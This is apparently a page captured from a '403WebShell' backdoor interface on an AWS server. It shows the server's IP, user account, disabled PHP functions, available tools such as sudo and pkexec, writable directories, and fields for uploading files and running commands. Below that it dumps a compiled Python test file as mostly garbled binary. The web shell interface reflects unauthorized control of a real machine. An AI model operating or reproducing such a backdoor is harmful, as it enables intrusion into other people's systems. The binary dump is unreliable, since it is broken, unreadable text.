Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_concurrent_futures.cpython-310.pyc
o

�9j���@s2ddlmZddlmZddlmZe�d�ddlmZddlmZddl	Z	ddl
Z
ddlZddlm
Z
ddlZddlZddlZddlZddlZddlZddlZddlZdd	lmZdd
lmZddlmZmZmZmZmZm Z m!Z!ddl"m#Z#m$Z$ddl%Z&ddl'Z&ddl&Z(ej)d
d
d�r�e�*d��eddfdd�Z+e+ed�Z,e+ed�Z-e+ed�Z.e+ed�Z/e+ee0�d�Z1e+edd�Z2da3dd�Z4dd�Z5dd�Z6dd�Z7dd �Z8d!d"�Z9dmd#d$�Z:Gd%d&�d&e;�Z<Gd'd(�d(�Z=d)d*�Z>Gd+d,�d,ej?�Z@Gd-d.�d.�ZAGd/d0�d0eA�ZBGd1d2�d2eA�ZCGd3d4�d4eA�ZDGd5d6�d6eA�ZEe@feBeCeEeDffd7d8�ZFGd9d:�d:eA�ZGGd;d<�d<eA�ZHeFeG�eFeH�Gd=d>�d>�ZIGd?d@�d@eBeIe@�ZJGdAdB�dBeI�ZKeFeKeCeEeDfdC�GdDdE�dE�ZLGdFdG�dGeBeLe@�ZMeFeLeCeEeDfdC�GdHdI�dI�ZNeFeN�GdJdK�dK�ZOGdLdM�dMeBeOe@�ZPGdNdO�dOeO�ZQeFeQeCeEeDfdC�dmdPdQ�ZRdRdS�ZSdTdU�ZTdVdW�ZUdXdY�ZVGdZd[�d[e;�ZWGd\d]�d]e;�ZXGd^d_�d_e;�ZYGd`da�dae;�ZZGdbdc�dce;�Z[Gddde�dee;�Z\Gdfdg�dg�Z]eFe]eCeEeDfdC�Gdhdi�die@�Z^djdk�Z_e`dlk�re�a�dSdS)n�)�support)�
import_helper)�threading_helper�_multiprocessing)�hashlib_helper)�assert_python_okN)�QueueHandler��
PicklingError)�futures)�PENDING�RUNNING�	CANCELLED�CANCELLED_AND_NOTIFIED�FINISHED�Future�BrokenExecutor)�BrokenProcessPool�_check_system_limitsT)�address�memoryz test too slow on ASAN/MSAN buildcCst�}||_||_||_|S�N)r�_state�
_exception�_result)�state�	exception�result�f�r�3/usr/lib/python3.10/test/test_concurrent_futures.py�
create_future*s
r!�r�rr�*�rr�
uninitializedcCs||Srr)�x�yrrr �mul<�r)cOs||fSrr)�args�kwargsrrr �capture?r*r-cCst�|�td��)Nzthis is an exception)�time�sleep�	Exception)�trrr �sleep_and_raiseBs
r2cCs t�|�t|�tj��dSr)r.r/�print�sys�stdout�flush)r1�msgrrr �sleep_and_printFs
r8cCs|adSr��INITIALIZER_STATUS)r'rrr �initK�r;cCstSrr9rrrr �get_init_statusO�r=cCsB|durt�d�}|�t|��|�d�d|_t�d�td��)N�concurrent.futures�CRITICALF皙�����?zerror in initializer)	�logging�	getLogger�
addHandlerr�setLevel�	propagater.r/�
ValueError)�	log_queue�loggerrrr �	init_failRs


rJc@�eZdZdd�ZdS)�MyObjectcCsdSrr��selfrrr �	my_method]r>zMyObject.my_methodN)�__name__�
__module__�__qualname__rOrrrr rL\srLc@�eZdZdd�Zdd�ZdS)�
EventfulGCObjcCs|��|_dSr)�Event�event)rN�mgrrrr �__init__b�zEventfulGCObj.__init__cCs|j��dSr)rV�setrMrrr �__del__erYzEventfulGCObj.__del__N)rPrQrRrXr[rrrr rTa�rTcCst�Sr)rL)�_rrr �make_dummy_objectisr^c@rS)�BaseTestCasecCst��|_dSr)r�threading_setup�_thread_keyrMrrr �setUpnrYzBaseTestCase.setUpcCst��tj|j�dSr)r�
reap_childrenr�threading_cleanuprarMrrr �tearDownqszBaseTestCase.tearDownN)rPrQrRrbrerrrr r_mr\r_cs8eZdZdZiZ�fdd�Z�fdd�Zdd�Z�ZS)�
ExecutorMixin�cs`t���t��|_t|d�r!|jd|j|��d�|j	��|_
dS|jdd|ji|j	��|_
dS)N�ctx��max_workers�
mp_contextrjr)�superrbr.�	monotonic�t1�hasattr�
executor_type�worker_count�get_context�executor_kwargs�executorrM��	__class__rr rbzs


����zExecutorMixin.setUpcsT|jjdd�d|_t��|j}tjrtd|dd�|�|dd�t	��
�dS)NT��waitz%.2fs� )�endi,z+synchronization issue: test lasted too long)rt�shutdownr.rmrnr�verboser3�
assertLessrlre)rN�dtrurr re�szExecutorMixin.tearDowncCst�|j�Sr)�mprrrhrMrrr rr��zExecutorMixin.get_context)	rPrQrRrqrsrbrerr�
__classcell__rrrur rfvsrfc@seZdZejZdS)�ThreadPoolMixinN)rPrQrRr�ThreadPoolExecutorrprrrr r��s
r�c�&eZdZejZdZ�fdd�Z�ZS)�ProcessPoolForkMixin�forkc�Fzt�Wnty|�d�Ynwtjdkr|�d�t���S�N�.ProcessPoolExecutor unavailable on this system�win32zrequire unix system�r�NotImplementedError�skipTestr4�platformrlrrrMrurr rr��
�


z ProcessPoolForkMixin.get_context�	rPrQrRr�ProcessPoolExecutorrprhrrr�rrrur r���r�cr�)�ProcessPoolSpawnMixin�spawncs2zt�Wnty|�d�Ynwt���S)Nr�)rr�r�rlrrrMrurr rr�s
�
z!ProcessPoolSpawnMixin.get_contextr�rrrur r��r�r�cr�)�ProcessPoolForkserverMixin�
forkservercr�r�r�rMrurr rr�r�z&ProcessPoolForkserverMixin.get_contextr�rrrur r��r�r�cCsPdd�}|D]}d||j�||j�f}t||f|f|i�}|t�|<qdS)NcSs0|�d�r|dd�S|�d�r|dd�S|S)N)�Mixin�Tests����Test���)�endswith)�namerrr �strip_mixin�s


z*create_executor_tests.<locals>.strip_mixinz%s%sTest)rP�type�globals)�mixin�bases�executor_mixinsr��exer��clsrrr �create_executor_tests�s��r�cs(eZdZdZ�fdd�Zdd�Z�ZS)�InitializerMixin�cs dattdd�|_t���dS)Nr&)�initialized��initializer�initargs)r:�dictr;rsrlrbrMrurr rb�s
�zInitializerMixin.setUpcs6�fdd�t�j�D�}|D]
}��|��d�qdS)Ncsg|]}�j�t��qSr)rt�submitr=��.0r]rMrr �
<listcomp>�s�z5InitializerMixin.test_initializer.<locals>.<listcomp>r�)�rangerq�assertEqualr)rNrrrrMr �test_initializer�s
��z!InitializerMixin.test_initializer)rPrQrRrqrbr�r�rrrur r��sr�cs6eZdZdZ�fdd�Zdd�Zejdd��Z�Z	S)�FailingInitializerMixinr�csZt|d�r|��|_|j��|_tt|jfd�|_nd|_d|_ttd�|_t��	�dS)Nrhr�)r�)
rorrrk�QueuerHr�rJrsrlrbrMrurr rb�s


�zFailingInitializerMixin.setUpc	Cs|�d��uz|j�t�}Wn	tyYnw|�t��|��Wd�n1s,wYt��}|jj	sOt��|dkrF|�
d�t�d�|jj	r9|�t��|j�t�Wd�n1sewYWd�dSWd�dS1s}wYdS)Nz ValueError: error in initializerrgzexecutor not broken after 5 s.g{�G�z�?)�_assert_loggedrtr�r=r�assertRaisesrr.rm�_broken�failr/)rN�futurernrrr r��s*�
�

���"�z(FailingInitializerMixin.test_initializerc#s��|jdur"dVg}z	|�|j�����q
tjy!Ynw|�dd��}dVWd�n1s6wY|j}|�t	�fdd�|D��|�dS)NTr?r@c3s�|]}�|vVqdSrr)r��line�r7rr �	<genexpr>s�z9FailingInitializerMixin._assert_logged.<locals>.<genexpr>)
rH�append�
get_nowait�
getMessage�queue�Empty�
assertLogs�output�
assertTrue�any)rNr7r��cmrr�r r�s$�
����z&FailingInitializerMixin._assert_logged)
rPrQrRrqrbr��
contextlib�contextmanagerr�r�rrrur r��sr�c@�DeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�ExecutorShutdownTestcCs$|j��|�t|jjtdd�dS)Nr�rg)rtr{r��RuntimeErrorr��powrMrrr �test_run_after_shutdown&s

�z,ExecutorShutdownTest.test_run_after_shutdowncCsDtddj|jjt|dd�d��\}}}|�|�|�|��d�dS)N�-caKif 1:
            from concurrent.futures import {executor_type}
            from time import sleep
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                context = '{context}'
                if context == "":
                    t = {executor_type}(5)
                else:
                    from multiprocessing import get_context
                    context = get_context(context)
                    t = {executor_type}(5, mp_context=context)
                t.submit(sleep_and_print, 1.0, "apple")
            rh��rp�context�apple)r�formatrprP�getattr�assertFalser��strip�rN�rc�out�errrrr �test_interpreter_shutdown,s
�
z.ExecutorShutdownTest.test_interpreter_shutdowncCsJtddj|jjt|dd�d��\}}}|�d|���|�|��d�dS)Nr�a�if 1:
            import atexit
            @atexit.register
            def run_last():
                try:
                    t.submit(id, None)
                except RuntimeError:
                    print("runtime-error")
                    raise
            from concurrent.futures import {executor_type}
            if __name__ == "__main__":
                context = '{context}'
                if not context:
                    t = {executor_type}(5)
                else:
                    from multiprocessing import get_context
                    context = get_context(context)
                    t = {executor_type}(5, mp_context=context)
                    t.submit(id, 42).result()
            rhr�r�z)RuntimeError: cannot schedule new futuress
runtime-error)	rr�rprPr��assertIn�decoder�r�r�rrr �&test_submit_after_interpreter_shutdownBs
�z;ExecutorShutdownTest.test_submit_after_interpreter_shutdowncs6�fdd�td�D�}�j��|D]}|��qdS)Nc�g|]
}�j�tjd��qS�rA�rtr�r.r/r�rMrr r�_�z=ExecutorShutdownTest.test_hang_issue12364.<locals>.<listcomp>�2)r�rtr{r)rN�fsrrrMr �test_hang_issue12364^s


�z)ExecutorShutdownTest.test_hang_issue12364cs��jdks	Jd���fdd�td�D�}�jjdd�dd�|D�}��t|�d	�d
d�|D�}|D]}�j|��d|j��d���	|�
��q3��t|�d
�dS)Nrgztest needs few workerscr�r�r�r�rMrr r�fr�z<ExecutorShutdownTest.test_cancel_futures.<locals>.<listcomp>r�T)�cancel_futurescSsg|]}|��r|�qSr��	cancelled�r��futrrr r�k��cSsg|]}|��s|�qSrr�r�rrr r�qr�zfut._state=r�r)rqr�rtr{�
assertGreater�lenr��doner�assertIsNoner)rNr�r��othersr�rrMr �test_cancel_futuresdsz(ExecutorShutdownTest.test_cancel_futurescCsZ|jtjkrt�d��tddj|jjt|dd�d��\}}}|�	|�|�
|��d�dS)z�shutdown(wait=False) doesn't hang at exit with running futures.

        See https://github.com/python/cpython/issues/83386.
        z9Hangs, see https://github.com/python/cpython/issues/83386r�a�if True:
            from concurrent.futures import {executor_type}
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                if {context!r}: multiprocessing.set_start_method({context!r})
                t = {executor_type}(max_workers=3)
                t.submit(sleep_and_print, 1.0, "apple")
                t.shutdown(wait=False)
            rhNr�r�)rprr��unittest�SkipTestrr�rPr�r�r�r�r�rrr �test_hang_gh83386{s�
�

z&ExecutorShutdownTest.test_hang_gh83386c
Cs�ttd�s
t�d��dd�}i}t|dd�r|��|d<|jddd	i|��}|�t��	�t�tj
|�}z!t�d
�|�t���|j
dd�Wt�d
�t�tj
|�dSt�d
�t�tj
|�w)z�shutdown(wait=True) doesn't hang when a future was submitted and
        quickly canceled right before shutdown.

        See https://github.com/python/cpython/issues/94440.
        �alarmz1Tested platform does not support the alarm signalcS�td��)Nztimed out waiting for shutdown�r�)�_signum�_framerrr �timeout�r*z7ExecutorShutdownTest.test_hang_gh94440.<locals>.timeoutrhNrkrj�rgTrwrr)ro�signalr�r�r�rrrpr��intr�SIGALRMr��cancelr{)rNr�r,rt�old_handlerrrr �test_hang_gh94440�s&
�


�z&ExecutorShutdownTest.test_hang_gh94440N)
rPrQrRr�r�r�r�r�r�rrrrr r�%sr�c@r�)�ThreadPoolShutdownTestcCs|dd�}t�d�}td�D]	}|j�||�q
|�t|jj�d�td�D]}|��q%|j�	�|jjD]}|�
�q5dS)NcS�|��dSr��acquire��lockrrr �acquire_lock�r�zCThreadPoolShutdownTest.test_threads_terminate.<locals>.acquire_lockr�)�	threading�	Semaphorer�rtr�r�r��_threads�releaser{�join)rNr�sem�ir1rrr �test_threads_terminate�s



�z-ThreadPoolShutdownTest.test_threads_terminatec
Csjtjdd��}|}|�t|�ttdd���gd��Wd�n1s$wY|jD]}|��q,dS)Nrg�rjr��
rg�rr�r�rr�r�rr)	rr�r��list�map�absr�rr)rN�ertr1rrr �test_context_manager_shutdown�s��

�z4ThreadPoolShutdownTest.test_context_manager_shutdowncCs^tjdd�}|�ttdd��}|j}~|D]}|��qtdd�t|tdd��D��s-J�dS)Nrgrr�cS�g|]
\}}|t|�k�qSr�r�r��r�vrrr r��r�z<ThreadPoolShutdownTest.test_del_shutdown.<locals>.<listcomp>)	rr�rrr�rr�all�zip�rNrt�res�threadsr1rrr �test_del_shutdown�s
&z(ThreadPoolShutdownTest.test_del_shutdowncCshtjdd�}|�ttdd��}|j}|jdd�|D]}|��qtdd�t	|tdd��D��s2J�dS)Nrgrr�FrwcSrrrrrrr r��r�z@ThreadPoolShutdownTest.test_shutdown_no_wait.<locals>.<listcomp>)
rr�rrr�rr{rr"r#r$rrr �test_shutdown_no_wait�s
&z,ThreadPoolShutdownTest.test_shutdown_no_waitcCsTtjddd�}|�ttdd��|j}~t��|D]
}|�|j	d�|�
�qdS)Nrg�SpecialPool)rj�thread_name_prefixr�z^SpecialPool_[0-4]$�rr�rrr�rr�
gc_collect�assertRegexr�r�rNrtr&r1rrr �test_thread_names_assigned�s�
�z1ThreadPoolShutdownTest.test_thread_names_assignedcCsRtjdd�}|�ttdd��|j}~t��|D]
}|�|j	d�|�
�qdS)Nrgrr�zThreadPoolExecutor-\d+_[0-4]$r+r.rrr �test_thread_names_default�s
�z0ThreadPoolShutdownTest.test_thread_names_defaultcCs.tdd�\}}}|�|�|�|��d�dS)Nr�a[if True:
            from concurrent.futures import ThreadPoolExecutor
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                t = ThreadPoolExecutor()
                t.submit(sleep_and_print, .1, "apple")
                t.shutdown(wait=False, cancel_futures=True)
            r�)rr�r�r�r�rrr �test_cancel_futures_wait_false�s

z5ThreadPoolShutdownTest.test_cancel_futures_wait_falseN)
rPrQrRrrr'r(r/r0r1rrrr r�s	

rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�ProcessPoolShutdownTestcCs�dd�}|��}|jdd�dkr|j}nd}|�d�}td�D]	}|j�||�q|�t|jj	�|�td�D]}|�
�q7|jj	}|j��|��D]}|�
�qKdS)NcSrrrr	rrr r
r�zFProcessPoolShutdownTest.test_processes_terminate.<locals>.acquire_lockF��
allow_noner�rr)rr�get_start_methodrqrr�rtr�r�r��
_processesrr{�valuesr)rNrrk�expected_num_processesrr]�	processes�prrr �test_processes_terminates 



�z0ProcessPoolShutdownTest.test_processes_terminatec
Csttjd|��d��}|j}|�t|�ttdd���gd��Wd�n1s(wY|�	�D]}|�
�q1dS)Nrgrir�r)rr�rrr6r�rrrr�r7r)rNrr9r:rrr r#s���
�z5ProcessPoolShutdownTest.test_context_manager_shutdowncCs�tjd|��d�}|�ttdd��}|j}|j}|j}|j}~t	�
�|��|��D]}|��q+|�
�tdd�t|tdd��D��sGJ�dS)Nrgrir�cSrrrrrrr r�Ar�z=ProcessPoolShutdownTest.test_del_shutdown.<locals>.<listcomp>)rr�rrrrr��_executor_manager_threadr6�_call_queuerr,rr7�join_threadr"r#)rNrtr%�executor_manager_threadr9�
call_queuer:rrr r'-s�
&z)ProcessPoolShutdownTest.test_del_shutdowncCs�tjd|��d�}|�ttdd��}|j}|j}|j}|j	dd�|�
�|��D]}|�
�q)|��t
dd�t|tdd��D��sEJ�dS)Nrgrir�FrwcSrrrrrrr r�Wr�zAProcessPoolShutdownTest.test_shutdown_no_wait.<locals>.<listcomp>)rr�rrrrr�r6r=r<r{rr7r>r"r#)rNrtr%r9r@r?r:rrr r(Cs�
&z-ProcessPoolShutdownTest.test_shutdown_no_waitN)rPrQrRr;rr'r(rrrr r2s

r2)r�c@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�	WaitTestscCsH|j�tjd�}tj||gtjd�\}}|�|h|�|�t�|�dS�N��?��return_when)	rtr�r.r/rrx�
ALL_COMPLETEDr�rZ)rNr�r��not_donerrr �
test_20369as

�zWaitTests.test_20369cCsd|j�tdd�}|j�tjd�}tjt||gtjd�\}}|�	t
|g�|�|�	t
t|g�|�dS)N�r�rCrD)rtr�r)r.r/rrx�CANCELLED_FUTURE�FIRST_COMPLETEDr�rZ)rN�future1�future2r�rGrrr �test_first_completedjs
�zWaitTests.test_first_completedcCsT|j�tjd�}tjtt|gtjd�\}}|�	t
ttg�|�|�	t
|g�|�dSrB)rtr�r.r/rrx�CANCELLED_AND_NOTIFIED_FUTURE�SUCCESSFUL_FUTURErKr�rZ�rNrL�finished�pendingrrr �+test_first_completed_some_already_completedus
�
�z5WaitTests.test_first_completed_some_already_completedcCsr|j�tdd�}|j�td�}|j�tjd�}tj|||gtjd�\}}|�	t
||g�|�|�	t
|g�|�dS)Nr�rIrCrrD)rtr�r)r2r.r/rrx�FIRST_EXCEPTIONr�rZ)rNrLrM�future3rRrSrrr �test_first_exception�s
�zWaitTests.test_first_exceptioncCsl|j�tdd�}|j�tjd�}tjttt	||gtj
d�\}}|�ttt	|g�|�|�tt|g�|�dS)NrIrrCrD)
rtr��divmodr.r/rrxrPrJrOrUr�rZ�rNrLrMrRrSrrr �*test_first_exception_some_already_complete�s"�
���z4WaitTests.test_first_exception_some_already_completecCsP|j�tjd�}tjt|gtjd�\}}|�t	tg�|�|�t	|g�|�dS)Nr�rD)
rtr�r.r/rrx�EXCEPTION_FUTURErUr�rZrQrrr �'test_first_exception_one_already_failed�s
�z1WaitTests.test_first_exception_one_already_failedcCsj|j�tdd�}|j�tdd�}tjttt||gtj	d�\}}|�
tttt||g�|�|�
t�|�dS)Nr�rrIrD)rtr�rXr)rrxrPrOr[rFr�rZrYrrr �test_all_completed�s(�
���zWaitTests.test_all_completedcCsn|j�tdd�}|j�tjd�}tjttt	||gdtj
d�\}}|�tttt	|g�|�|�t|g�|�dS)N��rg)r�rE)
rtr�r)r.r/rrxrOr[rPrFr�rZrYrrr �test_timeout�s&�
���zWaitTests.test_timeoutN)rPrQrRrHrNrTrWrZr\r]r`rrrr rA`s	
rAc@rK)�ThreadPoolWaitTestsc	stt����fdd��t��}t�d�z ��fdd�td�D�}���tj|tj	d�Wt�|�dSt�|�w)Ncs���dSrrwr)rVrr �future_func�r�z@ThreadPoolWaitTests.test_pending_calls_race.<locals>.future_funcg���ư>csh|]}�j����qSr)rtr�)r�r)rbrNrr �	<setcomp>�r�z>ThreadPoolWaitTests.test_pending_calls_race.<locals>.<setcomp>�drD)
r
rUr4�getswitchinterval�setswitchintervalr�rZrrxrF)rN�oldswitchintervalr�r)rVrbrNr �test_pending_calls_race�s
z+ThreadPoolWaitTests.test_pending_calls_raceN)rPrQrRrhrrrr ra�srac@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�AsCompletedTestscCsV|j�tdd�}|j�tdd�}tt�ttt||g��}|�	tttt||g�|�dS)Nr�rIr_r^)
rtr�r)rZr�as_completedrOr[rPr�)rNrLrM�	completedrrr �test_no_timeout�s$�����z AsCompletedTests.test_no_timeoutcCsp|j�tjd�}t�}ztjttt	|gdd�D]}|�
|�qWn
tjy*Ynw|�tttt	g�|�dS)Nr�r�r�)
rtr�r.r/rZrrjrOr[rP�add�TimeoutErrorr�)rNrL�completed_futuresr�rrr �test_zero_timeout�s,�
�����z"AsCompletedTests.test_zero_timeoutcCs@|j�tjd�}dd�t�t�|d��D�}|�t	|�d�dS)Nr�cSsg|]}|�qSrr)r�rrrr r�s�z;AsCompletedTests.test_duplicate_futures.<locals>.<listcomp>rr�)
rtr�r.r/rrj�	itertools�repeatr�r�)rNrLrkrrr �test_duplicate_futures
s
�z'AsCompletedTests.test_duplicate_futurescCs�dd�td�D�}|�ttd��|�ttdd��|�tj��'tj|dd�D]}|�	|�t
�|�}~t�
�|�|��q(Wd�n1sJwY|d�d	�t�|�D] }|�	|�t
�|�}~t�
�|�|��|r{|d�d	�q[dS)
NcSsg|]}t��qSr)rr�rrr r�szGAsCompletedTests.test_free_reference_yielded_future.<locals>.<listcomp>�r"r$r%rrm�test)r�r�r!rrr�rrorj�remove�weakref�refrr,r��
set_result)rN�futures_listr��wrrrr �"test_free_reference_yielded_futures.

��

��z3AsCompletedTests.test_free_reference_yielded_futurecCs`ttttg}|�tj��}ttj|dd��Wd�n1s wY|�	t
|j�d�dS)Nrrmz2 (of 4) futures unfinished)rO�PENDING_FUTURE�RUNNING_FUTURErPr�rrorrjr��strr)rNr{r�rrr �"test_correct_timeout_exception_msg-s��z3AsCompletedTests.test_correct_timeout_exception_msgN)rPrQrRrlrqrtr}r�rrrr ri�s
ric@sZeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Ze	j
d
d��Zdd�Zdd�Z
dS)�ExecutorTestcCs$|j�tdd�}|�d|���dS)Nr�ru�)rtr�r�r�r�rNr�rrr �test_submit=szExecutorTest.test_submitcCs�|jjtddd�}|�d|���|jjtdddd�}|�|��dddd�f�|�t��|jjtdd	�Wd�n1s@wY|�t��|jjdd
�Wd�dS1s]wYdS)Nr�ru)r(�r�r)rN�fn)r�)r��arg)r�)rtr�r)r�rr-r��	TypeErrorr�rrr �test_submit_keywordAs�"�z ExecutorTest.test_submit_keywordc	Csx|�t|j�ttd�td���ttttd�td����|�t|jjttd�td�dd��ttttd�td����dS)N�
r��	chunksize)r�rrtrr�r�rMrrr �test_mapKs��zExecutorTest.test_mapcCsJ|j�tgd�gd��}|�|��d�|�|��d�|�t|j�dS)N)r�r�r�r�)r�rrrg)rr�)rtrrXr��__next__r��ZeroDivisionError)rNrrrr �test_map_exceptionTszExecutorTest.test_map_exceptioncCsdg}z|jjtjgd�dd�D]}|�|�qWn
tjy"Ynw|�d�|�ddg|�dS)N)rrr^rgrmzexpected TimeoutError)	rtrr.r/r�rror�r�)rN�resultsrrrr �test_map_timeoutZs

���
zExecutorTest.test_map_timeoutcCs(|j�tdg|jd�|j��dS)Nr�r�)rtrr�rqr{rMrrr �test_shutdown_race_issue12456hsz*ExecutorTest.test_shutdown_race_issue12456csPt�}t���t�|�fdd��}|j�|j�~�jt	j
d�}|�|d�dS)Ncs���Sr)rZ)�obj��my_object_collectedrr �<lambda>vsz7ExecutorTest.test_no_stale_references.<locals>.<lambda>rmz-Stale reference not collected within timeout.)rLr
rUrxryrtr�rOrxr�
SHORT_TIMEOUTr�)rN�	my_object�my_object_callback�	collectedrr�r �test_no_stale_referencesos��z%ExecutorTest.test_no_stale_referencesc	CsFdD]}|�td��|j|d�Wd�n1swYqdS)N)r���z"max_workers must be greater than 0r)�assertRaisesRegexrGrp)rN�numberrrr �test_max_workers_negatives����z&ExecutorTest.test_max_workers_negativecCs<|j�ttd��D]}t�|�}~t��|�|��q	dS)Nr�)	rtrr^r�rxryrr,r�)rNr�r|rrr �test_free_reference�s
�z ExecutorTest.test_free_referenceN)rPrQrRr�r�r�r�r�r�r�cpython_onlyr�r�r�rrrr r�:s
	
r�c@sNeZdZdd�Zdd�Zdd�Zdd�Ze�e	e
d	�d
�dd��Zd
d�ZdS)�ThreadPoolExecutorTestcsDg��fdd�}|j�|td��|jjdd�|��td��dS)zTests verifying issue 11777.cs��|�dSr)r�)�n�rRrr �record_finished�rYzRThreadPoolExecutorTest.test_map_submits_without_iteration.<locals>.record_finishedr�TrwN)rtrr�r{�assertCountEqual)rNr�rr�r �"test_map_submits_without_iteration�s
z9ThreadPoolExecutorTest.test_map_submits_without_iterationcCs0|��}tdt��pdd�}|�|j|�dS)N� r�r)rp�min�os�	cpu_countr��_max_workers)rNrt�expectedrrr �test_default_workers�sz+ThreadPoolExecutorTest.test_default_workerscCs||�d�}dd�}t�d�}td|j�D]}|�||�q|�t|j�|j�td|j�D]}|�	�q/|j
dd�dS)NrcSrrrr	rrr r�r�z<ThreadPoolExecutorTest.test_saturation.<locals>.acquire_lockr�Trw)rpr
rr�r�r�r�r�rrr{)rNrtrrrrrr �test_saturation�s


z&ThreadPoolExecutorTest.test_saturationcCs`|��}|�tdd���|�tdd���|�tdd���|�t|j�d�|jdd	�dS)
NrIr�r^r_r�r�Trw)rpr�r)rr�r�rr{�rNrtrrr �test_idle_thread_reuse�sz-ThreadPoolExecutorTest.test_idle_thread_reuse�register_at_forkzneed os.register_at_forkc
s��fdd��t�d��5}|��|�td�D]!}tjdt�d�d��
}|�t�Wd�n1s2wYqWd�dS1sCwYdS)Ncs|��|�dSr�r�)�poolr�rr r��szEThreadPoolExecutorTest.test_hang_global_shutdown_lock.<locals>.submitr�r�r�)rk)rr�r�r�r�rrr�tuple)rNr�r]�workersrr�r �test_hang_global_shutdown_lock�s���"�z5ThreadPoolExecutorTest.test_hang_global_shutdown_lockc
s�t���g���fdd�}|jdd��V}|j|dd�}z=t�|j|ddgd	d
���"}|�tj	��t
|�Wd�n1s?wYWd�n1sNwYW���n���w|��Wd�n1slwY|�
�ddg�dS)
NcsH��d|�d��z���W��d|�d��dS��d|�d��w)Nzident=z startedz stopped)r�rx��ident��log�
stop_eventrr �
log_n_wait�s
*zRThreadPoolExecutorTest.test_executor_map_current_future_cancel.<locals>.log_n_waitr�r�firstr��second�thirdrrmzident='first' startedzident='first' stopped)r
rUrpr�r��closingrr�rro�nextrZr�assertListEqual)rNr�r�r��genrr�r �'test_executor_map_current_future_cancel�s(�
����
�z>ThreadPoolExecutorTest.test_executor_map_current_future_cancelN)
rPrQrRr�r�r�r�r��
skipUnlessror�r�r�rrrr r��s



r�c@steZdZe�ejdkd�dd��Zdd�Zdd�Z	e
d	d
��Zdd�Ze
�d
�dd��Zdd�Zdd�Zdd�ZdS)�ProcessPoolExecutorTestr�zWindows-only process limitcCs>|�td��tjdd�Wd�dS1swYdS)Nzmax_workers must be <= 61�>r)r�rGrr�rMrrr �test_max_workers_too_large�s
�"�z2ProcessPoolExecutorTest.test_max_workers_too_largecCs`|j�tjd�g}tt|jj����}|��|D]	}|�	t
|j�q|�	t
|jjtdd�dS)Nrr�ru)
rtr�r.r/r��iterr6r7�	terminater�rrr�)rNrr:r�rrr �test_killed_child�sz)ProcessPoolExecutorTest.test_killed_childc	s��fdd�}ttttd�td���}��t�jjttd�td�dd��|���t�jjttd�td�dd��|���t�jjttd�td�dd��|���t|�dS)Ncs$t�jjttd�td�dd��dS)N�(r�r�)rrtrr�r�rrMrr �bad_map�s$z;ProcessPoolExecutorTest.test_map_chunksize.<locals>.bad_mapr�r^r�r�)rrr�r�r�rtr�rG)rNr�ryrrMr �test_map_chunksize�s���z*ProcessPoolExecutorTest.test_map_chunksizecCr�)N�{r��r�rrr �_test_tracebackr<z'ProcessPoolExecutorTest._test_tracebackc	Cs�|j�|j�}|�t��}|��Wd�n1swY|j}|�t|�t	�|�
|jd�|j}|�t|�t
jj�|�d|j�t���}z|�t	y]tjt���YnwWd�n1shwY|�d|���dS)N)r�z&raise RuntimeError(123) # some comment)rtr�r�r�r0rr�assertIsr�r�r�r+�	__cause__r�process�_RemoteTracebackr��tbr�captured_stderrr4�
excepthook�exc_info�getvalue)rNr�r��exc�cause�f1rrr �test_tracebacks*
�
���z&ProcessPoolExecutorTest.test_traceback�md5cCs^|����}t|�}|j�t|�}|��|�|jj	dd��d}t
��|��|�
�dS)Nr�rm)rr�ManagerrTrtr��idrr�rVrxrr,r{r)rNrWr�r�rrr �test_ressources_gced_in_workerssz7ProcessPoolExecutorTest.test_ressources_gced_in_workerscCsj|j}|��}|�d�}d|j}t|�D]}|�|j�q|�t|j	�|j�t|�D]}|�
�q,dS)Nrr�)rtrrrr�r�r�rr�r�r6r)rNrtrkr�	job_countr]rrr r�0s


�z'ProcessPoolExecutorTest.test_saturationcCs~|j}|jdks
J�|��jdd�dkrt�d��|�tdd���|�tdd	���|�td
d���|�	t
|j�d�dS)
NrFr3r��(Incompatible with the fork start method.rIr�r^r_rr�r�)rtr�rrr5r�r�r�r)rr�r�r6r�rrr �test_idle_process_reuse_one;s
z3ProcessPoolExecutorTest.test_idle_process_reuse_onecCs�|j}|jdks
J�|��jdd�dkrt�d��|�tdd���|�tdd	�|�td	d
���|�tdd�|�td
d���|�tdd�|�	t
|j�d�|��dS)NrgFr3r�r��r_�!����r�r�r�	r)
rtr�rrr5r�r�r�r)r�assertLessEqualr�r6r{r�rrr � test_idle_process_reuse_multipleEs
z8ProcessPoolExecutorTest.test_idle_process_reuse_multipleN)rPrQrRr�r�r4r�r�r�r��classmethodr�r�r�requires_hashdigestr�r�r�r�rrrr r��s



r�cCs*|rt�|�ddl}|��|��dS)zInduces a segfault.rN)r.r/�faulthandler�disable�_sigsegv)�delayr�rrr �_crashYs

r�cCst�d�dS)z#Induces a sys exit with exitcode 1.r�N)r4�exitrrrr �_exitbsr�cCs|��)z-Function that raises an Exception in process.r)�Errrrr �_raise_errorg�r�cCsddl}|��t_|��)z@Function that raises an Exception in process and ignores stderr.rN)�io�StringIOr4�stderr)r�rrrr �_raise_error_ignore_stderrls
rcCs|�S)z(Function that returns a instance of cls.rr�rrr �_return_instancesr�rc@�eZdZdZdd�ZdS)�
CrashAtPicklez5Bad object that triggers a segfault at pickling time.cC�
